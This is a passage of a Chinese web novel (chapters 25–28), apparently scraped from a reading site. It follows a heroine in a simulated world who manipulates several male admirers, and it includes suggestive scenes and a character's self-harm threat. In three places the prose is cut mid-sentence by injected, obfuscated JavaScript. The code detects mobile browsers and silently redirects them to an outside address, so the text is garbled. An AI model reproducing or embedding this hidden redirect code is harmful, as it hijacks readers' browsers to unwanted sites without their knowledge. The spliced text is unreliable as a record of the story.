[安徒生:沈先生,是不是我哪里让你觉得不满啊……对不起啊,那我以后不来打扰你了(图片)] 等了一会,对面可算回了条消息。 [沈长昀:没有。安小姐,我只是最近有些忙,可能来不及回复消息。] * 书房。 沈长昀今天居家办公,手机消息提示音响起的一瞬间,他就知道是安童。 因为他只给安童设置了特殊提示音。 但沈长昀一开始只是置若罔闻地继续办公,手指敲击键盘的声音填满了他的大脑,但那道提示音又响起了。 工作时间,沈长昀永远保持着高度专注,对他来说公事和私事应该彻底分开。就比如管家过来几次,告诉他沈竹青闹着要出门,还是被他无视。 更何况,关于和安童的事,从昨天来说就应该结束了,毕竟沈长昀已经和那人做了约定。 沈长昀是个成熟的商人,尽管对安童有着暧昧的好感,但以利益为先才是他最应该做的。该做决定时要决绝果断从不拖泥带水,这也正是这么多年来他能在商场翻云覆雨的行事准则。 但此刻沈长昀犹豫了,尽管手头还是忙着工作,但他心思早已飞去了桌面上的手机,来自安童的消息。 最后,他揉了揉太阳穴,儒雅的面容带着些疲倦。 沈长昀还是暂时停下了手头的活,点开了安童发来的消息。 看清图片后,那些被他藏在暗处,以为已经抛之而去的深沉心思又冒了出来,甚至比之前更加澎湃汹涌,彻底压抑不住。 他手指摩挲着屏幕,按揉着图片中安童红润的嘴唇,修长白皙的脖颈,以及凌乱的着装。 今天似乎是随意套上的红裙,没有整理好,看上去像是被人故意扯乱的,让人想要继续一探究竟,或者说是亲手将其拆开。 脖颈上的领带今天系得有些太紧了,脖子上已经勒出了一道红痕,沈长昀视线在这里驻足良久,喉结快速上下滑动,他有些遗憾竟然不是自己造成印记。 手指动了动,沈长昀保存了这张照片。 但是看看可以,既然已经决定要戒掉了,就不能再沾手了。 他守着自己的底线,忍着没回复,眼睛一刻不离安童发来的照片,看得入神。 管家在房间门口,打算敲敲一旁打开的门然后进来,因为沈竹青少爷一直闹着要出门,把房间里的东西摔了个干净,甚至吵着闹着要绝食自残。 刚刚要不是他拦着,沈竹青的头就撞上墙壁了,现在更是拿着把不知道从哪掏出来的匕首对着自己脖子,威胁着管家去找沈竹青。 但沈长昀此时正认真地注视着手机,眼神格外深邃,想必是在看公司重要的文件。 管家叹了口气,这父子俩别看不是亲生的,性格也大相径庭,但相同的成长背景下培养出来的人能有什么差别呢?他们都是控制欲超强、喜欢掌控一切的人。 只不过沈竹青更年轻,而沈长昀在这种环境下磨砺已久,更加游刃有余,心思也更难测。 管家悄悄退在了门外,准备等沈长昀忙完手里的事情后再去叨扰他。 安童又发来了一条消息,沈长昀想要划出图片去看看,不小心往下一滑,刷出了另一张安童刚发出来的照片。 “砰——” 手机摔在地面上,捡手机时,沈长昀这才看见门口的管家,他哑声道:“有什么事吗?” 管家感慨着沈长昀工作的劳苦,连忙道:“先生,沈竹青他还在闹,现在情况有点糟糕,您看怎么处理?” 沈长昀笑得温和:“这么会闹啊,那就别管他,等他出事了再找医生来。”语罢,他摆摆手,示意管家出去。 眼观鼻鼻观心,管家没有为沈竹青说话,去讲他在房间过激的种种行为,而是静悄悄退下了。 沈长昀的手机在刚刚一摔中屏幕有些裂开,他没在意,再次点开了和安童的对话框。 一字一句耐心地看完了安童发来的一段话,他在脑子里幻想着安童打出这句话时的神情,大抵是委屈又不解吧。毕竟她那么单纯,怎么能想到成年人的世界就是那么直白,能够因为利益关系而放弃一段社交。 尽管残忍,但他还是很快掠过那段话,心里却像是被小猫挠了一爪子一样,摸不着想法。 接着再次打开刚刚让他理智不稳的照片,顺利填补了刚刚他脑中的那片空白。 她哭了。 大概是真的很难过,她咬着嘴唇欲语还休,像是有着无限委屈,眼眶红红地朝镜头看过来,浸着一层薄薄的水汽,似乎透过了手机屏幕向他哭诉、撒娇和求饶。 虽然地点不对,但这样引人怜爱的安童,很像他某些隐晦时刻的旖旎幻想,在那个时候她也会哭,但他不会心疼,只会吻去她眼角的泪水,然后变本加厉。 沈长昀闭上眼睛。 克制。 他不知道多少次告诉自己,要克制。 答应那个人远离安童,不也是因为不想越界吗? 有些东西不去碰,那尽管很馋,也是能够克制住的。 但一旦碰了,就像是染上了戒不了的毒药,会让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951892|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失控。 一开始沈长昀和安童产生联系的时候,本是想着将这段暧昧关系当做调剂,但不能投入太多。 他是商人,久居上位发号施令,习惯在一切关系占据掌控者的地位,但在和安童的相处中,他逐渐发现自己的心神由对方所牵引,渐渐失去自己的绝对理智和从容。 这样不行。 况且,如果沈长昀真的沉浸进去,安童能够受得住他浓稠厚重的欲望吗?只怕像只小白兔一样,还没靠近他就吓跑了。 本来是要远离的。 但现在安童又勾起了他的瘾,明知道不应该,他还是回了消息。 就一次。沈长昀盯着手机,他想着,就这一次。 * 安童看完消息后瞬间乐笑,沈长昀在忙工作啊。 那现在是什么意思呢,工作时间摸鱼?看到她发的第二张照片后就迫不及待发消息过来,果然还是看脸的吧! 刚刚她检讨了一下第一张照片没得到回复的原因,最后得出:照片没有突出自己的美貌,略显草率,本来一开始就是只拍给顾峤看的,所以很随意。 第二张安童专门找了找角度,特意挑的自己最好看的一边脸,完美展现了自己的颜值。 安童得意洋洋地晾了沈长昀一会才回复。 [安徒生:沈先生你在忙吗,那我就不打扰你啦,对不起……] [安徒生:其实我也知道自己挺麻烦人的,以后我不会没事就来找你了,对不起。] 安童心里倒数。 3,2,…… [沈长昀:没关系,我没有被打扰到。安小姐你有什么事找我吗?] 安童就在这时候出其不意地打了通视频电话过去。 通讯音响了好一会,才被对面接起。 “安小姐,你有什么事需要我帮忙吗?” 沈长昀今天穿着简单的衬衫,比以往穿正式西装的样子要显得更加随和,也更加温和。 安童故作苦恼地扶了扶额头,朝他求助道:“我从昨天开始就没有联系到沈竹青了,你知道他在哪吗?我好担心他,他是不是出什么事啦?” 沈长昀脸色不变,笑了笑:“沈竹青吗?他说要出国,态度很坚定,我想着他可能是想历练一下自己,就默许了。他没有告诉你要离开吗?” “现在沈竹青应该在收拾东西,你要和他聊聊吗?” 确定沈竹青没事就行。安童还是有些失望的,这疯狗走了后谁来牵制一下顾峤这变态啊。 江狼? 安童认为这神经病应该先学会让自己活着。 “还有什么事吗?” 安童一会儿要去找谢岩,和他互通一下调查进度,毕竟特殊事件还悬在安童头上,像是随时会压垮她的大石头。 但在此时找找乐子也不是不行,谁叫沈长昀刚刚故意不理她。 安童眼睛闪了闪,她举高手机,对着自己上下照了照,语气单纯:“沈先生,我这次特意化了妆再穿这条裙子,你觉得好看吗?” 沈长昀的神色经过视频通讯传过来后有些失真,他语气晦涩:“好看。” 脖子上的领带系太紧了,安童不由伸手扯了扯,她小声吐槽着自己,对着摄像头照了照脖子。 “不过今天领带系得脖子疼,还是沈先生上次系得更好。” 沈长昀喉结一滚,镜头太近了,近得仿佛他伸手就能拉过那条领带,然后解开,或者缠绕在安童身上的其他部位。 他声音更加嘶哑:“是吗?你可以将领带取下来,这样就不会勒脖子了。” 安童一手拿着手机,一手解领带:“好哦,我……” 一个没拿稳,手机掉地上了,摄像头对着上方,安童撩了撩裙角,低头,俯身看向屏幕:“诶,怎么掉地上了。” 接着,像是不小心一样,她关掉了视频通讯,徒留另一边的沈长昀脑子里残留最后一个刺激的画面,说太多的克制到此时显得很是无用。 他手有些不稳地拿起一旁的水杯,也不介意里面是冷水,直接灌进喉咙,才缓解了一下嗓子的干涩。 安童手机摔了一下之后可心疼了,不打算再理沈长昀。她将裙子换下,穿上了日常服,接着便一边和谢岩联系,一边出门。 沈长昀等了很久,也没有受到回复,他缓缓笑了,摇了摇头嘲笑自己。 像是一个急色愣头青等待女朋友回复一样。 他起身,走出书房,经过一条走廊,来到了一道房门前,管家正站在一旁。 “开门吧。” 沈竹青从昨天被抓回家就一直在反抗。 这老东西,突然就要把他送出国,完全没有问他的意见。 说什么他们应该和安童断掉关系,什么利益啊损失啊。 那是沈长昀应该关心的,关他沈竹青什么事。 见有人来了,他举起匕首站起身,对准自己脖子:“沈长昀,放我回学校,我不出国。” 沈长昀只是淡然地站在门口,语气不容置喙:“你必须出国。” “我不!”沈竹青冲上来想打他,被管家死死摁住,“沈长昀,你口口声声说要远离安童,把我关起来难道你自己没有私心吗?” “说不去找安童,你自己难道做得到吗?” 沈长昀走到沈竹青面前,低头瞥了眼被制住的养子,带来一种压迫感。“我不像你,像个小孩子一样,当然能管住自己。” 这时手机传来消息提示音,沈长昀动作利落地掏出手机点进聊天框。 看清内容后,他神色变了变。 沈竹青看到沈长昀盯着手机,脑中雷达一响,他骂道:“你是不是还在和安童联系?你个xxx,说不去见安童,哄谁呢!” 沈长昀淡定自若,让管家将沈竹青押进房间。 * 陌生的房间。 一双修长的手点击着手机屏幕。 最新短信是一条质问。 [你是谁,为什么给我发这张照片?] 再往前,是这个人发送过去的照片。 ——这正是安童和江萦错位亲吻的照片。 这个人编辑着短信,依次发送给了其他人。 收件人—— 沈竹青。 沈长昀。 谢岩。 萧白桦。 26. 小修罗场 谢岩突然打了通电话过来。 安童叼着黄油面包绕过周围的同学,往校门口走着,一只手拿着牛奶喝,另一只手拿起手机接通电话。 “你不怕那个教主了?这种时候还出去和不知底细的人玩,就算是勾搭人也要看质量吧。那个人看起来就一副不食人间烟火的少爷模样,上次我见他就觉得这人品行不太好,又装又傲气,他能保证你的安全吗?真遇上事了说不定还要你来保护。安童,你的眼光还是这么差。” 那边话语一顿,挖苦的声音变得铿锵有力。 “如果你要找勾搭的对象,还不如看看眼前的人。我身手不错,保护你绰绰有余,刚好上面派给我的主要任务就是查清这个邪教组织,你又是关键人物,我可以贴身保护你。” 蠢驴叽里咕噜说了些什么玩意儿。 这人一次性说太多了,安童懒得辨清,只是隐约听到了关键词“贴身保护”。 安童几口吞下面包,含糊不清地问道:“没问题啊,但我在学校你怎么贴身保护?” 电话另一头的谢岩脊背弓起,小麦色的俊脸上浮起忐忑,认真听了安童的话,不经过大脑思考地回复:“我们可以在外租房,这样就能全方面地保护你了,我绝对把那里守得严严实实。” 安童:“……”想得真美。 再次被这人的厚脸皮无语到,安童吸了口牛奶,思索了一下刚刚谢岩的话,觉得有些不对劲。 “你怎么知道我和江萦昨天出去了?” 谢岩的话又卡顿了一下,他其实也发现了那则匿名短信的古怪,照片的拍摄角度带给人浓浓的不安感,像是有人在监视着安童一样,他也已经找人去彻查了。 谢岩推测,这很可能是邪教组织发来的。尽管不清楚这个行为的意义是什么,是在向身为刑警的谢岩宣告他们下一个目标就是安童吗? 不过这件事还是别告诉小绿茶好,免得她又娇气地哭了。 “我那天刚好碰见的,所以你对刚刚的提议看法怎么样?” 怎么说呢,其实安童有点心动。 谢岩可是一脚就将歹徒踢飞的人,待在他身边安全感直接爆升。 但安童可没忘记,他们两人之前可还有矛盾呢。谢岩看她可不爽了,仿佛她是什么作奸犯科的大坏人一样,成天拿着有色眼镜看人。 尽管谢岩对安童表露出好感,但她可记仇了,哪能这么容易答应他这看起来就居心不良的提议。 安童溜达到垃圾桶旁,扔掉了纸袋包装,将手机贴近嘴边,语气无辜道:“抱歉啊,我们的关系吧……好像还没到这种程度,现在连朋友都不算吧,顶多是热心刑警和倒霉的受害者关系,要不你再想想其他保持一些距离的方法?” 什么叫还没到这种程度? 谢岩皱着眉听完,心里火气陡然上来了:“那你还突然给我发那种照片?哪个受害者会给萍水相逢的刑警发私人照,你不就是要和我拉近关系的意思吗?” 根据安童的品行,谢岩笃定是安童这小绿茶耐不住恶劣的性格,故意发照片试探他。 安童不语,只是一味的昂着头赶路。 谢岩福至心灵,声音彻底压不住怒气和酸气:“难道你还给其他男人也发了吗?你这样的行为是不道德的知道吗,就这么缺人吗,你到底钓了多少个人?” 安童避而不谈,只是不爽道:“你又开始凶。” 谢岩深呼吸。他告诉自己,小绿茶是这样的,就是喜欢乱招惹人,但也没做坏事不是吗? 现在安童只是有点误入歧途,如果和他在一起了,他一定好好看住安童不让她祸害别人。 等他想好声好气安抚时,却发现电话已经被挂了。 他懊恼地猛捶了下头,提着一旁的外套急匆匆出门,同时给安童不断发着消息。 [谢岩:你今天要来警局是吗?我这里有些调查进度可以告诉你。] [谢岩:对不起,刚刚是我说话太着急了,我这就来接你。] 安童懒洋洋地给谢岩发了“OK”的手势,就不再理他。 她找到路边的一条长椅,用纸巾微微擦拭后才坐下,发现之前加的大师发来了一段音频。 [溪:还记得之前推你的那本书吗?如果没有也没关系,这段音频是朗读版本,感兴趣的话可以听听!当然,如果有书的话更好啦,边看边听效果更佳!] 抱着试试的想法,安童点开音频,戴上了蓝牙耳机。 伴奏是一段很舒缓的钢琴乐,安童一向欣赏不来这等高趣味的艺术,但大师的话让安童升起了几分好奇,选择继续听下去。 “有时候会觉得这个世界很糟糕吗?虽然置身其中,却仿佛天地间唯你一人。” 安童默默点头认同。 糟糕透了,这破模拟世界和破系统一点不让人省心。 “……人生来是罪恶的,区别是有些人后天通过善行把自己伪装起来,而另一些人到了人生终点却仍以恶结束。” “他们贪婪自私,满腹阴暗心思,永远不知满足,最终沦为欲望的奴隶,上天是否看在眼里,对他们施予惩戒?” 悦耳的钢琴乐变得让人心烦,天空掠过的鸟啼声显得愈发刺耳,安童想起了那些黏着自己的狗皮膏药,一个比一个变态。 虽然她确实可以加以利用,从中获得好处,但他们太难掌控了,一不小心就被反噬。 “怨怼、厌烦、不耐……你是否也有同感?那欢迎你打开这本书,来到净化的世界。” 本来是等待谢岩的过程中把这段音频当做消遣,安童却不由自主听了好一会,直到手机设置的特殊铃声响起。 ——来电显示:妈妈。 她愣了愣,犹豫间通话已经自动结束。 当电话再次想起时,安童选择接通。 “喂,童童,最近过得怎么样啊?自从长大后,都不给家里回消息了,我和你爸都很担心你。最近生活费够吗,不够要和家里说,看你朋友圈的照片,最近瘦了很多啊……” 长椅一侧有棵树,枝丫被风带着轻轻晃动,传来树叶间轻碰“哗啦啦”的声音,伴随着安母的话,让人心烦。 安童抠着裤子上的线,不知道该怎么回应这个对她而言应该陌生,但在模拟世界背景设置下无比熟悉的亲人。 前十八年的人生匆匆而过,只是系统那里放了倍速的默片,安童从来没有把自己真的代入过这个身份。 一切都只是模拟游戏,不是吗? 现实中的安童没有亲人关心,更不会像这里一样不为生存忙碌,只需要忙忙学业就好。 想得更远的话,那就是如何把她侧写的兴趣爱好发挥到极致,并利用结识的这些人,让自己变得非常非常有钱。 虽然目前出了个小岔子,有个该死的邪教组织盯上了她。 安童握紧手机,轻声道:“我还好,没有什么需要你们担心的,一切都很顺利。” 简单聊了几句,安童等待对方挂掉了电话,才又不声不吭地把手机揣在兜里,望着头顶的树枝发呆。 安母真好。 如果真是她母亲就好了。 但很可惜,现在的人生只是安童偷来的,她早在上一世就已经离开了。 【触发关键词,系统自动回复:模拟人生的设定皆围绕着宿主,您可放心生活,享受着属于自己的人生】 是么,但现在赋予她的设定又算什么。 属性值,各种奇怪的任务……无一不在告诉安童,她不属于这个世界,又何来代入感。 安童闭上眼睛,迎着阳光昏昏欲睡,直到听到身边有脚步声才睁开眼,她以为是谢岩终于到了。 “安童,你怎么在这睡着了?” 萧白桦坐在安童身边,看着她一脸疲倦,他感觉这个人好像很累很累,周身萦绕着游离世界的低沉。 他维持冷酷的脸上浮现出几分担心,本打算质问的话憋了回来,声音不由放缓了些:“是在担心那个组织吗?放心,我都说了给你垫背,有事我先上。” 安童觑了他一眼,心想,怎么每次她心情不好的时候,都会遇到这个人啊。 她随便敷衍了一句:“没什么,就是昨晚熬夜太累了。” 安童不是很想说话,萧白桦却像是打开了话匣子一样,坐在旁边叭叭叭。 “……你今天发给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975907|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的照片,还发给了别人吗?” 问出这话后,萧白桦心里唾弃自己,他本来是想问安童和那个陌生男人照片的事,怎么话到嘴边就变了,怎么就这么怂。 而且他应该理直气壮地问,就算是鱼塘里的一条鱼,也应该有鱼的知情权。 “纠结是发给谁的重要吗?而且,我穿上那条裙子不好看吗?” 安童理直气也壮地反问,对萧白桦控诉的眼神视而不见,她脸上带着刻意而为的迟钝,嘴角勾着笑:“你怎么这么在意我有没有发给别人啊,不会是……” “我就是问问,不想回答就算了。”萧白桦避开安童目光,视线落在路边的野草上,心想安童又在戏耍他了,这女人这么擅长拿捏别人的感情,还能看不出他的心思吗? 安童确实是恶趣味的逗弄了一下萧白桦,谁叫他在自己心情不好的时候来,刚好撞枪口上了。 “我当然没有发给你一个人啦,见者有份,像你这样的普通朋友,我置顶挂着一堆呢,”好像是觉得自己说话太直接了,安童做作地抬手捂住嘴,“啊,对不起,我说话快了点,你没有不高兴吧?” 萧白桦长着这么权威风流的一张冷淡帅脸,明明被她的话说得眼眶微红,却还是顽强地乖乖坐在原地,安童觉得还挺有意思的。 就在萧白桦想要最后倔强地问一下安童到底把他当做什么时,不远处走来一个身材高大的、小麦色肌肤的俊朗男人,这人目标准确,直奔他们而来。 萧白桦心生不好的预感,他四肢僵硬,眼睁睁看着这个男人走到安童身边,蹲下身子,锋利的眼神只是轻飘飘扫了他一眼,颔首示意,便专注望着这个让他们共同牵动心房的人。 “还没有原谅我吗?我当时和你聊天时确实有点心急了,对不起。” 萧白桦僵着脖子,没有扭头看,却也还是没离开,只是余光不由自主扫向正在交谈的两人。 安童没有低头看那个男人,只是语气抱怨:“你管得太多了,而且怎么能随意揣测我呢,朋友太多是我的错吗?我不就是把照片同时发给了你们嘛……” 那个男人面容冷峻,浓眉大眼的硬朗长相,此时声音透着小心翼翼的顺从和讨好:“是我误会了,我向你道歉,你饿了吗?我们可以一起去吃午饭。” 萧白桦心里酸得牙都要掉了,这像是小情侣吵架,男方追过来哄自己的小女朋友似的。 他在这里倒显得很多余。 但萧白桦很擅长发现蛛丝马迹,听安童刚才的语气,这男人多半也是她鱼塘里的一条鱼。 大家的地位都一样,也就不分什么先来后到了。 萧白桦心里又闷又别扭,就冷着脸在那坐着,等一旁的安童和他搭话。 看到蹲在面前的谢岩,眉眼压低,莫名带着戾气和凶劲,不像是来求和,而是村子里来找事的屠夫一样,于是安童只掀了掀眼皮:“还这么凶?这就是你道歉的态度吗?” 这小绿茶真会来事。谢岩心里门清地想,面上却没表现出来,他带着和长相不匹配的浅笑,声音低得不能再低:“现在好点了吗?” 这蠢驴还挺能伸能屈,安童也不过分挑剔,站起来拍了拍身上的灰,准备和他一起离开。 不过走之前,得搭理一下某个犟种,不然这人真的得回家躲着哭了,那样她多惭愧啊。 萧白桦强忍眼里的酸楚,两手紧握成拳头放在腿上,以为这次又得不到回应,却被人拍了拍肩膀,他抬头,看到安童背对着阳光,调皮地朝他眨了眨右眼,“我先走了,去处理一下那个组织的事,你也要小心哦。” 她歪歪头,笑了:“毕竟,我还差一个人给我垫背呢。” 虽然这次还是望着安童的背影离开,不过萧白桦已经能够成熟地自我安慰了。 安童又不是真的和那人谈恋爱,只不过是她太年轻了,理不清自己的感情而已,多找了一些人想试试罢了,这不是她的错。 而且,萧白桦现在想起刚刚那个男人正是审讯过他的刑警,安童说不定只是为了他们二人的安危才靠近他的。 所以安童更在乎他。 这样一想,萧白桦感觉心里的气又顺了。 27. 车里 吃过饭后,谢岩开车搭着安童前往警局,在这期间将自己查到的一些事情告知安童。 “你是说,陷害萧白桦的人可能是个女生?” 安童拧着眉打开车窗透了透气,任由劲风将耳畔的碎发吹起,勉强缓解了内心的烦郁。 谢岩握着方向盘,专注盯着前面的路,分出一些注意力来回复安童:“是的,我们队里的技术人员查了查给萧白桦发消息那人的ip地址,显示就在现场的观众席。” “于是我们又调取了当时的监控,锁定了可疑人选,通过这人身形,猜测应该是名女性,不过对方伪装得很严实,难以查出她的身份。” 竟然是名魁梧的女生吗?一想到对方将萧白桦打晕拖进柜子,又想到自己虚弱的体质,安童不由生出佩服,和一点点羡慕。 安童到底牵挂着和教主有关的事,尽管最近没有被这个组织找上门来,但她内心一直很忐忑,生怕自己又在哪个转角遇到拿刀追自己的人。 “那这个女生和邪教组织有关吗?她是教主的手下吗?” 谢岩犹豫了几秒,才开口:“最近正在排查,一切只有等锁定这人具体身份,对其进行审讯后才能知道。” 安童放在膝盖上的手不由捏紧了裤子,嘴边笑意消失。 所以她还得在这种担惊受怕的处境中待多久?谢岩调查了半天,到头来一点进展也没有? 敛下眼睑,安童低着头,声音闷闷地发问:“这个女生应该就是教主的人吧,现场墙上的血字也是她写的吧,那我现在岂不是很危险,你多久才能查到她的身份?” “过几天应该就能查到,虽然这个女生潜伏在学校,但她或者她背后的教主应该没有想伤害你的意图,不然按照以往案例的待遇,你现在……”应该已经入土了。 话到临门,谢岩暗道要坏,怎么说话又这么没轻重,这小绿茶听后不得又哭了。他连忙闭嘴,余光扫向后视镜,想看看安童的表情。 低着头看不清脸色,头发遮掩住了她的眼睛,但肩膀没有发抖,并无要哭的迹象。 看来他刚刚说的话没有吓到安童。 谢岩刚松了口气,收回了视线,就在前照镜里看到安童抬起头,眼尾泛着红,语调陡然拔高:“什么叫没有伤害我的意图,凭你的主观臆断?万一对方就是不按套路出牌呢?还有,刚刚你想说什么,继续说完啊?” 谢岩的手一抖,车身歪了个方向,他连忙正了回来。 安童一向装得乖巧又听话,上一次对谢岩这么凶,还是他多疑症作用在她身上、让对方感到冒犯导致的。 谢岩刚刚的话确实没过脑,生活中过得糙,导致他说话往往不顾及人的情面,太过直白刺人。 但有些人就是得哄着,要轻声细语才能换得对方的笑。 面对安童,有时候谢岩心里虽然清楚对方就是故意在戏耍人,毕竟这女人就是个爱装的小绿茶,他却自知应该低下头颅,好言相说。 谢岩像是工作时查案子时那样谨慎小心,赶紧出言找补,尽量语气温和:“我只是想安慰你不会有事的,教主背后的组织犯案自有一套逻辑,前不久我们行动组将近些年和其有关的案子捋了一遍,发现他们下手的对象全是作奸犯科的人。” 安童此时什么也听不进去,情绪紧绷,她呼吸急促道:“但如果这一次他们真的想突然对我下手呢,你怎么能保证我的安全?” 谢岩快速回道:“你可以搬出来和我同居,我在A市租的大平层离你学校很近,房间很多,你随便挑,我保证让一只苍蝇都飞不进来。” “滴滴……” 手机铃声响起。 安童打开一看,发现是顾峤打来的电话,除此外还有江家兄弟和沈长昀发来的短信,她感到头痛,此时甚至懒得敷衍他们。 她将手机息屏,再次回拒谢岩:“我都说了不熟,不可能和你一起。” “谢岩,收起你那套把戏。我知道你想追我,但想追我的人能从学校排到我家,你成天这么凶,嘴还硬,我考虑谁都不会考虑你的。” 回绝的很彻底,一副不想和谢岩来往的样子。 要不是此刻在开车,抽不开身,谢岩真想捏着她安童下巴让她直视自己眼睛,他明明对之前的所作所为道歉了,态度已经这么低下,怎么就落得一个她口中的“凶”“不会被考虑”? 分神间,前面道路上突然出现一辆小轿车横穿马路,谢岩眉心一跳,打了个方向盘,在这时听到安童的话后,他职业病又发作了,在怒气发酵下说出了积攒在心里很久的疑问:“为什么你会招惹到教主?” 蠢驴反咬,安童炸了:“怪到我身上来了?你的意思是,这是我的问题?” 谢岩一边全神贯注把握着方向盘,一边挖空心思和安童道歉,尽管他认为想要了解清楚渊源是没有毛病的,但此时不敢和她呛声。 安童抿紧唇,扭过头看向窗外,不再说话了。 这让开车的谢岩心里打鼓,但他也觉得自己没说错,于是也沉着脸不开口。 安童将车窗再次开大了一些,刺人的疾风吹过脸庞时,她头脑才有些清醒,反应过来自己今天有些控制不住情绪。 按理来说,就算是再讨厌谢岩,她都不会骂得这么直接,而是暗搓搓让对方吃亏。 但她现在看谁都有点不爽,心里躁郁不平,看到谢岩这讨厌的面孔就想骂他。 车里气氛僵冷下来。 直到返回学校,安童都冷脸靠着背椅,一副懒得和谢岩有过多交谈的模样,她刚要拉开车门跳下去,就被人推回车里。 车门被猛地关上。 一双粗糙的大手捏着安童的下巴,迫使她抬起头,一眼撞进了谢岩深邃的眼里,像是能看穿人内心一样。 她挣了挣,两手放在谢岩手腕上,试图将他拽开,距离却和他离得更近,呼吸交错间,谢岩开口了。 “你今天情绪很奇怪,是发生了什么事吗?” 安童视线落在车顶,就是不去看谢岩:“没有什么,就是单纯不喜欢你的口吻,凭什么这么笃定我不会出事?” 谢岩也不知道这种情况下能说什么,刚刚只是下意识拦住安童不让她离开,但真的将人锢在车里时,又不明白该怎么让她消气。 他屈着大长腿坐在安童身旁,摸了摸安童蓬松的颅顶,对待安童的态度小心翼翼,语气却依旧强硬:“有我在,你绝不可能有事。安童,你究竟怎么得罪教主的?” “你把手松开!”待谢岩的手放开她后,安童瞪了他一眼,坐到车子另一边,离他远远的,“我怎么知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984999|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小到大我也没遇见过几个变态。” 谢岩挑眉,往安童那个角落挪了挪,见她抗拒的模样,他心里发闷,脸上硬憋出一个笑:“你就这么讨厌我吗?” 他忍不住了,小绿茶今天的态度太疏远人,搞得他不知道怎么是好。 谢岩伸手捞过推拒的安童,有力的臂膀锢着她,他低头凑近,却不敢太放肆,保持在刚刚好的距离:“你可以放心地告诉我一切,目前就只有我知道你是什么样的人,不是吗?” 他知道安童爱装无辜、乱招惹人,又一身娇气的毛病,知道她表里不一、游戏人间,却依旧上赶着给她利用。 除了他谢岩,还有谁能做到? 听了这话,安童不动了,她抬眼,看着这张近在咫尺的硬朗俊脸,下巴处竟然还有青色胡茬,看来真是为了她的事熬了通宵。 安童终于笑了:“想要了解我?”她指了指面前,“跪下吧,说不动我会愿意呢?” 谢岩皱眉犹豫了一会,还是在狭窄的车内动了动,高大健壮的一个男人,就这么手脚放不开地跪在了安童面前。 态度和第一次见面相比,卑微多了,像是朝安童摇尾乞怜的野狗。 原来谢岩这么喜欢她啊。 安童心里坏主意打着转,恶劣捉弄人的心思到达巅峰。 她拽着谢岩的头发让他昂起头。 这人下颔线绷紧,眼里带着些难堪和别扭,安童看笑了,抚着他皱起的眉头,低头在他唇上轻轻一贴,若即若离的距离,她轻声道:“这样都可以,看来你是真的喜欢我啊。” 谢岩身躯瞬间僵住。 尽管梦里已经情难自禁地和安童各种翻云覆雨,但现实中他仍然是个没亲过嘴的处男。 他视线紧锁着安童红润的唇瓣,喉结不由自主滑动,哑声道:“你……对每个男人都这样吗。” 先给个巴掌,再给点甜头。 安童乐了,谢岩果真了解她。 不过她怎么会承认呢? “不是哦,”安童再次拉远了距离,托着下巴,无辜地解释,“如果我说只亲过你,你信吗?” 谢岩眼眸漆黑,锋利的眼神扫过安童看戏般的神情,心里一窒,头一次恨自己太过敏锐和多疑,不然就不会轻易发现安童这明显是骗人的戏码。 安童被谢岩的反应搞得心情变好了,她拍拍身边的座位,示意他坐过来。 她觉得自己现在格外亢奋,还想要做一些以往不会做的事。 谢岩刚坐下,腿上就落下柔软的触感,他脊背僵住。 安童勾着谢岩的脖子,歪了歪头,眼里带着藏不住的逗弄笑意:“现在我保证,我之前从来没有坐过别人。” 刚才动作间,好像贴到了对方腰间的皮带,硌得安童大腿疼。 谢岩就是个没开过荤的糙人,也知道这样的姿势不太正经,他小心地搂着安童的腰,脸上红透了。 他感受到身上逐渐变得火热起来,怕吓到安童,毕竟这小绿茶看起来只是想玩玩,不知道自己会给人带来什么样的反应。 想开口时,安童却扭着身子动了一下,伸手去拿另一侧的手机,屏幕亮着,有人正在给她打电话。 嗯? 好像碰到了什么。 谢岩闷哼一声。 28. 反派的邀约 打来电话的人是江萦,安童想也不想就挂掉了。骗她的事情还没有算完账呢,得再晾一晾他。 她又扭了下身子,把手机扔到另一边。 谢岩从未觉得自己的忍耐性这么好过。 车内传来衣服摩擦的声音。 安童突然被单手抱起平放在车座上,谢岩单膝跪在她两腿之间,将她抵在了角落。 难道是把人逗太狠了? 安童本来戏耍的心情停歇了,心中有些揣揣然。她可不是真想在车里和他发生些什么,双手不自觉将谢岩的胸膛往外推,色令内荏地骂他:“你想干什么,这可是在车上,旁边就是学校!” 谢岩手撑在安童的腰侧,低头凝视着她的脸,几乎不用怎么辨别,很轻易地看清了她的退缩。 他又气又笑。 刚刚坐他腿上撩拨的时候,怎么就没想到外面是学校呢? 这小绿茶,只许她幡然点火,却不许别人找她扑灭? 